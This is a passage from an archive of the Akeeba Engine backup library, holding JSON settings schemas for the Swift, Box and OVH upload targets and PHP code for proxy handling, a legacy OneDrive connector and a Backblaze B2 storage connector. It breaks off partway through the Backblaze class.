        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION"
    }
}PK     \(Y<mb  b  /  vendor/akeeba/engine/engine/Postproc/swift.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.swift.keystone_version": {
        "default": "v3",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_SWIFT_KEYSTONE_VERSION_V2|COM_AKEEBA_CONFIG_SWIFT_KEYSTONE_VERSION_V3",
        "enumvalues": "v2|v3",
        "title": "COM_AKEEBA_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION"
    },
    "engine.postproc.swift.authurl": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_AUTHURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_AUTHURL_DESCRIPTION"
    },
    "engine.postproc.swift.tenantid": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_TENANTID_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_TENANTID_DESCRIPTION"
    },
    "engine.postproc.swift.domain": {
        "default": "default",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_DOMAIN_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_DOMAIN_DESCRIPTION",
        "showon": "engine.postproc.swift.keystone_version:v3"
    },
    "engine.postproc.swift.username": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_USERNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_USERNAME_DESCRIPTION"
    },
    "engine.postproc.swift.password": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_SWIFT_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.swift.containerurl": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_CONTAINERURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION"
    },
    "engine.postproc.swift.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SWIFT_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_SWIFT_DIRECTORY_DESCRIPTION"
    }
}PK     \N2
  
  -  vendor/akeeba/engine/engine/Postproc/box.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_BOX_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION"
    },
    "engine.postproc.box.oauth2_type": {
        "default": "akeeba",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA|COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM",
        "enumvalues": "akeeba|custom",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION"
    },
    "engine.postproc.box.oauth2_helper": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION",
        "showon": "engine.postproc.box.oauth2_type:custom"
    },
    "engine.postproc.box.oauth2_refresh": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION",
        "showon": "engine.postproc.box.oauth2_type:custom"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.box.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_box_openoauth"
    },
    "engine.postproc.box.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_BOX_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.box.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_BOX_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION"
    },
    "engine.postproc.box.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_BOX_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION"
    }
}PK     \(ҽ	  	  3  vendor/akeeba/engine/engine/Postproc/ProxyAware.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

use Akeeba\Engine\Platform;

trait ProxyAware
{
	/**
	 * Apply the platform proxy configuration to the cURL resource.
	 *
	 * @param   resource  $ch  The cURL resource, returned by curl_init();
	 */
	protected function applyProxySettingsToCurl($ch)
	{
		if (defined('AKEEBA_NO_PROXY_AWARE'))
		{
			return;
		}

		$proxySettings = Platform::getInstance()->getProxySettings();

		if (!$proxySettings['enabled'])
		{
			return;
		}

		curl_setopt($ch, CURLOPT_PROXY, $proxySettings['host'] . ':' . $proxySettings['port']);

		if (empty($proxySettings['user']))
		{
			return;
		}

		curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxySettings['user'] . ':' . $proxySettings['pass']);
	}

	protected function getProxyStreamContext()
	{
		if (defined('AKEEBA_NO_PROXY_AWARE'))
		{
			return [];
		}

		$ret           = [];
		$proxySettings = Platform::getInstance()->getProxySettings();

		if (!$proxySettings['enabled'])
		{
			return $ret;
		}

		$ret['http'] = [
			'proxy'           => $proxySettings['host'] . ':' . $proxySettings['port'],
			'request_fulluri' => true,
		];
		$ret['ftp']  = [
			'proxy'           => $proxySettings['host'] . ':' . $proxySettings['port'],
			// So, request_fulluri isn't documented for the FTP transport but seems to be required...?!
			'request_fulluri' => true,
		];

		if (empty($proxySettings['user']))
		{
			return $ret;
		}

		$ret['http']['header'] = ['Proxy-Authorization: Basic ' . base64_encode($proxySettings['user'] . ':' . $proxySettings['pass'])];
		$ret['ftp']['header'] = ['Proxy-Authorization: Basic ' . base64_encode($proxySettings['user'] . ':' . $proxySettings['pass'])];

		return $ret;
	}
}PK     \DSt    -  vendor/akeeba/engine/engine/Postproc/ovh.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_OVH_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.ovh.projectid": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OVH_PROJECTID_TITLE",
        "description": "COM_AKEEBA_CONFIG_OVH_PROJECTID_DESCRIPTION"
    },
    "engine.postproc.ovh.username": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OVH_USERNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_OVH_USERNAME_DESCRIPTION"
    },
    "engine.postproc.ovh.password": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_OVH_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_OVH_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.ovh.containerurl": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OVH_CONTAINERURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_OVH_CONTAINERURL_DESCRIPTION"
    },
    "engine.postproc.ovh.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OVH_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_OVH_DIRECTORY_DESCRIPTION"
    }
}PK     \"6#    >  vendor/akeeba/engine/engine/Postproc/Connector/OneDriveApp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

/**
 * OneDrive (custom Azure AD application) API connector.
 *
 * @deprecated Legacy OneDrive connector tied to a per-user custom OAuth2 application. Superseded by the
 *             OneDriveBusiness connector using the modern Microsoft Graph API. Retained only for backwards compatibility.
 */
class OneDriveApp extends OneDrive
{
	/**
	 * The URL of the helper script which is used to get fresh API tokens
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/onedriveapp.php';

	/**
	 * Size limit for single part uploads.
	 *
	 * This is 4MB per https://docs.microsoft.com/en-us/graph/api/driveitem-put-content?view=graph-rest-1.0&tabs=http
	 */
	public const simpleUploadSizeLimit = 4194304;

	/**
	 * Item property to set the name conflict behavior
	 *
	 * @see https://docs.microsoft.com/en-us/onedrive/developer/rest-api/concepts/direct-endpoint-differences?view=odsp-graph-online#instance-annotations
	 */
	public const nameConflictBehavior = '@microsoft.graph.conflictBehavior';

	/**
	 * The root URL for the MS Graph API
	 *
	 * @see  https://docs.microsoft.com/en-us/graph/api/resources/onedrive?view=graph-rest-1.0
	 */
	protected $rootUrl = 'https://graph.microsoft.com/v1.0/me/drive/special/approot';

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $path          The relative path of the folder to list its contents
	 * @param   string  $searchString  If set returns only items matching the search criteria
	 *
	 * @return  array  See http://onedrive.github.io/items/list.htm
	 *
	 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-list-children?view=graph-rest-1.0&tabs=http
	 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-search?view=graph-rest-1.0&tabs=http
	 */
	public function getRawContents($path, $searchString = null)
	{
		$collection  = empty($searchString) ? 'children' : 'search';
		$relativeUrl = $this->normalizeDrivePath($path, $collection);

		/**
		 * Search for items?
		 *
		 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-search?view=graph-rest-1.0&tabs=http
		 */
		if ($searchString)
		{
			$relativeUrl .= sprintf('(q=\'%s\')', urlencode($searchString));
		}

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Creates a new multipart upload session and returns its upload URL
	 *
	 * @param   string  $path  Relative path in the Drive
	 *
	 * @return  string  The upload URL for the session
	 */
	public function createUploadSession($path)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'createUploadSession');

		$explicitPost = (object) [
			'item' => [
				static::nameConflictBehavior => 'replace',
				'name'                       => basename($path),
			],
		];

		$explicitPost = json_encode($explicitPost);

		$info = $this->fetch('POST', $relativeUrl, [
			'headers' => [
				'Content-Type: application/json',
			],
		], $explicitPost);

		return $info['uploadUrl'];
	}

	/**
	 * Return information about the application folder
	 *
	 * @return  array  See https://learn.microsoft.com/en-us/graph/api/drive-get-specialfolder?view=graph-rest-1.0&tabs=http
	 */
	public function getDriveInformation()
	{
		return $this->fetch('GET', '');
	}

	protected function normalizeDrivePath($relativePath, $collection = '')
	{
		$path = trim($relativePath, '/');

		if (!empty($path))
		{
			$path = ':/' . $path;
		}

		if (!empty($collection))
		{
			if ($path !== ':/')
			{
				$path .= ':/';
			}

			$path .= $collection;
		}

		return $path;
	}
}PK     \MF_ 1  1  <  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Backblaze\AccountInformation;
use Akeeba\Engine\Postproc\Connector\Backblaze\BucketInformation;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\APIError;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\cURLError;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\InvalidJSON;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\NotAllowed;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\UnexpectedHTTPStatus;
use Akeeba\Engine\Postproc\Connector\Backblaze\FileInformation;
use Akeeba\Engine\Postproc\Connector\Backblaze\UploadURL;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\HashTrait;
use DomainException;
use OutOfBoundsException;
use RuntimeException;

/**
 * Backblaze B2 API connector
 */
class Backblaze
{
	use HashTrait;
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The API entry point URL, only used to retrieve the authorization token.
	 * Backblaze retired v1–v3 of b2_authorize_account on 2026-05-29; only v4 is accepted.
	 * Other endpoints still resolve against the per-account apiUrl returned by authorize.
	 */
	public const apiURL = "https://api.backblazeb2.com/b2api/v4/";

	/** @var  string  The Backblaze B2 Account ID */
	private $accountId;

	/** @var  AccountInformation  Account information returned from authorizeAccount */
	private $accountInformation;

	/** @var  string  The Backblaze B2 Application Key */
	private $applicationKey;

	/** @var  BucketInformation[]  A list of the buckets in this account, used by getBucketId */
	private $buckets;

	/**
	 * Default cURL options
	 *
	 * @var  array
	 */
	private $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => 2,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	/**
	 * Creates a new Backblaze B2 API Connector object.
	 *
	 * @param   string  $accountId       The Backblaze B2 Account ID
	 * @param   string  $applicationKey  The Backblaze B2 Application Key
	 */
	public function __construct($accountId, $applicationKey)
	{
		$this->accountId      = $accountId;
		$this->applicationKey = $applicationKey;
	}

	/**
	 * Cancel a multipart upload
	 *
	 * @param   string  $fileId  The fileId returned by startUpload
	 *
	 * @return  FileInformation  The information of the file being canceled
	 */
	public function cancelUpload($fileId)
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'fileId' => $fileId,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];
		$apiReturn    = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_cancel_large_file', $additional, $explicitPost);

		return new FileInformation($apiReturn);
	}

	/**
	 * Deletes a specific version of a file, given a file ID.
	 *
	 * @param   string  $fileName  The filename to delete all versions of. Can be a path.
	 * @param   string  $fileId    The file ID to delete.
	 *
	 * @return  void
	 */
	public function deleteByFileId($fileName, $fileId)
	{
		if (!$this->getAccountInformation()->allowed->canDeleteFiles())
		{
			throw new NotAllowed('Deleting files');
		}

		$apiUrl     = $this->getApiUrl();
		$body       = [
			'fileName' => $fileName,
			'fileId'   => $fileId,
		];
		$additional = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$this->fetch('POST', $apiUrl, '/b2api/v1/b2_delete_file_version', $additional, json_encode($body));
	}

	/**
	 * Deletes all versions of a file, given a filename. Uses getFileVersions internally.
	 *
	 * @param   string  $bucketId  The bucket ID. Use getBucketId.
	 * @param   string  $fileName  The filename to delete all versions of. Can be a path.
	 *
	 * @return  void
	 */
	public function deleteByFileName($bucketId, $fileName)
	{
		if (!$this->getAccountInformation()->allowed->canDeleteFiles())
		{
			throw new NotAllowed('Deleting files');
		}

		$files = $this->getFileVersions($bucketId, $fileName);

		if (empty($files))
		{
			return;
		}

		foreach ($files as $file)
		{
			$this->deleteByFileId($file->fileName, $file->fileId);
		}
	}

	/**
	 * Download a file when you know its name
	 *
	 * @param   string  $bucketName  The name of the bucket you are downloading from
	 * @param   string  $fileName    The path of the file in the bucket you are downloading
	 * @param   string  $localFile   The path of the file in your local filesystem (download target)
	 * @param   array   $headers     HTTP headers to pass, see the link below
	 *
	 * @return  void
	 *
	 * @see https://www.backblaze.com/b2/docs/b2_download_file_by_name.html
	 */
	public function downloadFile($bucketName, $fileName, $localFile, $headers = [])
	{
		if (!$this->getAccountInformation()->allowed->canReadFiles())
		{
			throw new NotAllowed('Reading files');
		}

		if (!$this->getAccountInformation()->allowed->isBucketAllowed($bucketName))
		{
			throw new NotAllowed("Accessing the $bucketName bucket");
		}

		if (!$this->getAccountInformation()->allowed->isPrefixAllowed($fileName))
		{
			throw new NotAllowed("Accessing the $fileName file; the prefix (directory) is not allowed)");
		}

		$accountInfo = $this->getAccountInformation();
		$url         = rtrim($accountInfo->downloadUrl, '/') . '/';
		$relativeUrl = 'file/' . $bucketName . '/' . ltrim($fileName, '/');

		$this->fetch('GET', $url, $relativeUrl, [
			'headers'   => $headers,
			'file'      => $localFile,
			'file_mode' => 'wb',
		]);
	}

	/**
	 * Download a file when you know its ID
	 *
	 * @param   string  $fileId     The file ID returned when uploading or by getFileVersions
	 * @param   string  $localFile  The path of the file in your local filesystem (download target)
	 * @param   array   $headers    HTTP headers to pass, see the link below
	 *
	 * @return  void
	 *
	 * @see https://www.backblaze.com/b2/docs/b2_download_file_by_id.html
	 */
	public function downloadFileById($fileId, $localFile, $headers = [])
	{
		if (!$this->getAccountInformation()->allowed->canReadFiles())
		{
			throw new NotAllowed('Reading files');
		}

		$accountInfo = $this->getAccountInformation();
		$url         = rtrim($accountInfo->downloadUrl, '/') . '/';
		$relativeUrl = 'b2api/v1/b2_download_file_by_id?fileId=' . $fileId;

		$this->fetch('GET', $url, $relativeUrl, [
			'headers'   => $headers,
			'file'      => $localFile,
			'file_mode' => 'wb',
		]);
	}

	/**
	 * Finishes a multipart file upload.
	 *
	 * @param   string    $fileId       The ID of the file being uploaded
	 * @param   string[]  $sha1PerPart  List of SHA-1 sums per uploaded part. First part at array index 0.
	 *
	 * @return  FileInformation  Note that you should not expect to get the SHA-1 of the entire file, per API docs.
	 */
	public function finishUpload($fileId, $sha1PerPart)
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'fileId'        => $fileId,
			'partSha1Array' => $sha1PerPart,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];
		$apiReturn    = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_finish_large_file', $additional, $explicitPost);

		return new FileInformation($apiReturn);
	}

	/**
	 * Get the account information stored in this connector API object
	 *
	 * @return  AccountInformation
	 */
	public function getAccountInformation()
	{
		if (empty($this->accountInformation))
		{
			$this->authorizeAccount();
		}

		if (!$this->accountInformation->isValid())
		{
			$this->authorizeAccount();
		}

		return $this->accountInformation;
	}

	/**
	 * Reinitialize the connector API object with a stored account information object. If the object is out of date or
	 * you pass null we will retrieve a new AccountInformation object through the B2 API.
	 *
	 * @param   AccountInformation  $accountInformation
	 */
	public function setAccountInformation($accountInformation)
	{
		if (is_null($accountInformation) || (!$accountInformation->isValid()))
		{
			$this->authorizeAccount();

			return;
		}

		$this->accountInformation = $accountInformation;
	}

	/**
	 * Get the bucket ID, required for use in the API, from the unique bucket name which the end user knows and sees in
	 * the BackBlaze B2 interface.
	 *
	 * @param   string  $name          The name of the bucket you want the ID for
	 * @param   bool    $forceRefresh  This method caches the list of buckets. Pass true to force reloading this list
	 *                                 from BackBlaze B2 (useful if you just added a bucket)
	 *
	 * @return  string  The bucket ID
	 */
	public function getBucketId($name, $forceRefresh = false)
	{
		if ($this->getAccountInformation()->allowed->bucketName == $name)
		{
			return $this->getAccountInformation()->allowed->bucketId;
		}

		if (empty($this->buckets) || $forceRefresh)
		{
			$this->buckets = $this->listBuckets();
		}

		foreach ($this->buckets as $bucket)
		{
			if ($bucket->bucketName == $name)
			{
				return $bucket->bucketId;
			}
		}

		throw new DomainException(sprintf('Bucket %s not found under this BackBlaze B2 account', $name));
	}

	/**
	 * Returns the available file versions for a given file path.
	 *
	 * @param   string  $bucketId  The bucket ID. Use getBucketId.
	 * @param   string  $fileName  The filename to return versions for. Can be a path.
	 *
	 * @return  FileInformation[]  The FileInformation objects for each file version.
	 */
	public function getFileVersions($bucketId, $fileName)
	{
		if (!$this->getAccountInformation()->allowed->canReadFiles())
		{
			throw new NotAllowed('Reading files');
		}

		$apiUrl = $this->getApiUrl();
		$body   = [
			'bucketId' => $bucketId,
			'prefix'   => $fileName,
		];

		$additional = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('POST', $apiUrl, '/b2api/v1/b2_list_file_versions', $additional, json_encode($body));
		$return    = [];

		foreach ($apiReturn['files'] as $file)
		{
			// If no fileName is returned that's a folder
			if (empty($file['fileName']))
			{
				continue;
			}

			// The API returns versions for all files, starting with the one we requested. Hence the filtering here.
			if ($file['fileName'] != $fileName)
			{
				continue;
			}

			$return[] = new FileInformation($file);
		}

		return $return;
	}

	/**
	 * Get the upload URL, including the special upload authorization token, for multipart file uploads.
	 *
	 * This is the second step. The next steps are uploadPart and either finishUpload to finalize the upload, or
	 * cancelUpload to abort the multipart upload process.
	 *
	 * @param   string  $fileId
	 *
	 * @return  UploadURL
	 */
	public function getPartUploadUrl($fileId)
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'fileId' => $fileId,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_get_upload_part_url', $additional, $explicitPost);

		return new UploadURL($apiReturn);
	}

	/**
	 * Create a singed URL which allows anyone to download a file for a specific period of time.
	 *
	 * @param   string  $bucketName  The name of the bucket you are downloading from
	 * @param   string  $fileName    The path of the file in the bucket you are downloading
	 * @param   int     $expiresIn   How many seconds will the URL be valid for. Default is the maximum, one week.
	 *
	 * @return  string  The signed download URL which can be shared
	 */
	public function getSignedUrl($bucketName, $fileName, $expiresIn = 604800)
	{
		if (!$this->getAccountInformation()->allowed->canReadFiles())
		{
			throw new NotAllowed('Reading files');
		}

		// Let's get the bucket ID
		$bucketId = $this->getBucketId($bucketName);

		// $expiresIn must be between 1 and 604800 seconds
		$expiresIn = min($expiresIn, 604800);
		$expiresIn = max(1, $expiresIn);

		// Use b2_get_download_authorization to get a temporary authorization code
		$apiUrl     = $this->getApiUrl();
		$body       = [
			'bucketId'               => $bucketId,
			'fileNamePrefix'         => $fileName,
			'validDurationInSeconds' => $expiresIn,
		];
		$additional = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$authResponse = $this->fetch('POST', $apiUrl, '/b2api/v1/b2_get_download_authorization', $additional, json_encode($body));

		// Construct the signed URL
		$accountInfo = $this->getAccountInformation();
		$url         = rtrim($accountInfo->downloadUrl, '/');
		$url         .= '/file/' . $bucketName . '/' . ltrim($fileName, '/');
		$url         .= '?Authorization=' . $authResponse['authorizationToken'];

		return $url;
	}

	/**
	 * Gets the URL for the upload API of the given bucket
	 *
	 * @param   string  $bucketId  The ID of the bucket (NOT the name!). Use getBucketId to retrieve it.
	 *
	 * @return  UploadURL  The Upload URL object
	 */
	public function getUploadUrl($bucketId)
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'bucketId' => $bucketId,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_get_upload_url', $additional, $explicitPost);

		return new UploadURL($apiReturn);
	}

	/**
	 * List all of the buckets in the account
	 *
	 * @return  BucketInformation[]
	 *
	 * @see  https://www.backblaze.com/b2/docs/b2_list_buckets.html
	 */
	public function listBuckets()
	{
		if (!$this->getAccountInformation()->allowed->canListBuckets())
		{
			throw new NotAllowed('Retrieving a list of your BackBlaze B2 buckets');
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'accountId' => $this->getAccountInformation()->accountId,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_list_buckets', $additional, $explicitPost);
		$return    = [];

		foreach ($apiReturn['buckets'] as $bucket)
		{
			$return[] = new BucketInformation($bucket);
		}

		return $return;
	}

	/**
	 * Start a multipart upload of a large file.
	 *
	 * This is the first step. The next step is getPartUploadUrl.
	 *
	 * @param   string  $bucketId     The ID of the bucket where the file is being uploaded to
	 * @param   string  $remoteFile   The path of the file in Backblaze
	 * @param   string  $contentType  MIME content type of the file
	 *
	 * @return  FileInformation
	 */
	public function startUpload($bucketId, $remoteFile, $contentType = 'application/octet-stream')
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		if (!$this->getAccountInformation()->allowed->isPrefixAllowed($remoteFile))
		{
			throw new NotAllowed("Accessing the $remoteFile file; the prefix (directory) is not allowed)");
		}

		$apiUrl       = $this->getApiUrl();
		$explicitPost = json_encode([
			'bucketId'    => $bucketId,
			'fileName'    => $remoteFile,
			'contentType' => $contentType,
		]);
		$additional   = [
			'headers' => [
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('POST', $apiUrl, 'b2api/v1/b2_start_large_file', $additional, $explicitPost);

		return new FileInformation($apiReturn);
	}

	/**
	 * Upload a file. Automatically determines single- or multi-part upload based on the size of the file, the part
	 * size and the absolute minimum part size that's possible.
	 *
	 * @param   string  $bucketId     The ID of the bucket. Use getBucketId.
	 * @param   string  $remoteFile   The path of the uploaded file in B2
	 * @param   string  $localFile    Path to the file to upload
